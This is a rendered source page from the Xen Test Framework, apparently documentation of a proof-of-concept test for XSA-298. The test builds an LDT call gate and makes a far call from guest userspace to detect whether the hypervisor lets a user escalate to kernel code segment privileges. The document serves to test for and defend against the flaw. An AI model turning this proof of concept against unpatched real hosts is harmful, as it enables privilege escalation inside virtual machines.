Xen Test Framework
main.c
Go to the documentation of this file.
1 
38 #include <xtf.h>
39 
40 const char test_title[] = "XSA-298 PoC";
41 
42 #define GATE_SEL (0x1000 | X86_SEL_LDT | 3)
43 
44 unsigned int gate_target(void);
45 asm ("gate_target:;"
46  "mov %cs, %eax;"
47  __ASM_SEL(lretl, lretq)
48  );
49 
50 static void __user_text user1(void)
51 {
52  env_gate *gate = _p(GATE_SEL & PAGE_MASK);
53 
54  pack_call_gate(gate, __KERN_CS, _u(&gate_target), 3, 0);
55 }
56 
57 static unsigned long __user_text user2(void)
58 {
59  /*
60  * Don't put on the stack. Some versions of Clang try to initialise it by
61  * copying out of .rodata which is a supervisor mapping.
62  */
63  static far_ptr __user_data ptr = { .selector = GATE_SEL, };
64  const char *vendor_ptr = _p(&ptr);
65  unsigned int res = 0;
66 
67  if ( IS_DEFINED(CONFIG_64BIT) && vendor_is_amd )
68  vendor_ptr += 4;
69 
70  asm volatile ("1:"
71 #ifdef __x86_64__
72  "rex64 "
73 #endif
74  "lcall *%[ptr]; 2:"
75  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
76  : "+a" (res)
77  : [rec] "p" (ex_record_fault_eax),
78  [ptr] "m" (*vendor_ptr),
79  /* Pretend to read all of ptr, or it gets optimised away. */
80  "m" (ptr));
81 
82  return res;
83 }
84 
85 static int remap_linear(const void *linear, uint64_t flags)
86 {
87  intpte_t nl1e = pte_from_virt(linear, flags);
88 
89  return hypercall_update_va_mapping(_u(linear), nl1e, UVMF_INVLPG);
90 }
91 
92 void test_main(void)
93 {
94  env_gate *gate = _p(GATE_SEL & PAGE_MASK);
95  unsigned int res;
96 
97  /*
98  * Prepare userspace memory.
99  */
100  void *volatile /* GCC issue 99578 */ ptr = gate;
101  memset(ptr, 0, PAGE_SIZE);
102  remap_linear(gate, PF_SYM(AD, U, RW, P));
103 
104  /*
105  * Simulate a piece of userspace making the attack, with an
106  * mprotect(PROT_READ) syscall in the middle.
107  */
109  remap_linear(gate, PF_SYM(AD, U, P));
110  res = exec_user(user2);
111 
112  /*
113  * Interpret the result. Successful use of the call gate should return
114  * the running %cs, while a fixed Xen should fail the far call with a #GP
115  * fault.
116  */
117  switch ( res )
118  {
119  case __KERN_CS:
120  return xtf_failure("Fail: vulnerable to XSA-298\n");
121 
123  return xtf_success("Success: Not vulnerable to XSA-298\n");
124 
125  default:
126  return xtf_failure("Fail: Unexpected return value %#x\n", res);
127  }
128 }
129 
130 /*
131  * Local variables:
132  * mode: C
133  * c-file-style: "BSD"
134  * c-basic-offset: 4
135  * tab-width: 4
136  * indent-tabs-mode: nil
137  * End:
138  */
static int remap_linear(const void *linear, uint64_t flags)
Definition: main.c:85
static void user1(void)
Definition: main.c:50
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
#define X86_SEL_RPL_MASK
Definition: processor.h:189
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
unsigned int gate_target(void)
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define GATE_SEL
Definition: main.c:42
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
static unsigned long user2(void)
Definition: main.c:57
#define PAGE_MASK
Definition: page.h:12
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define __user_text
Definition: compiler.h:33
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
#define memset(d, c, n)
Definition: libc.h:33
#define __user_data
Definition: compiler.h:34
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
__UINT64_TYPE__ uint64_t
Definition: stdint.h:17
#define GP
#define vendor_is_amd
Definition: cpuid.h:34
unsigned long intpte_t
Definition: page.h:152
static void pack_call_gate(env_gate *g, unsigned int sel, unsigned long offset, unsigned int dpl, unsigned int other)
Definition: x86-gate.h:110
const char test_title[]
The title of the test.
Definition: main.c:14
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
#define PAGE_SIZE
Definition: page.h:11
#define __ASM_SEL(c, l)
Definition: asm_macros.h:25
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38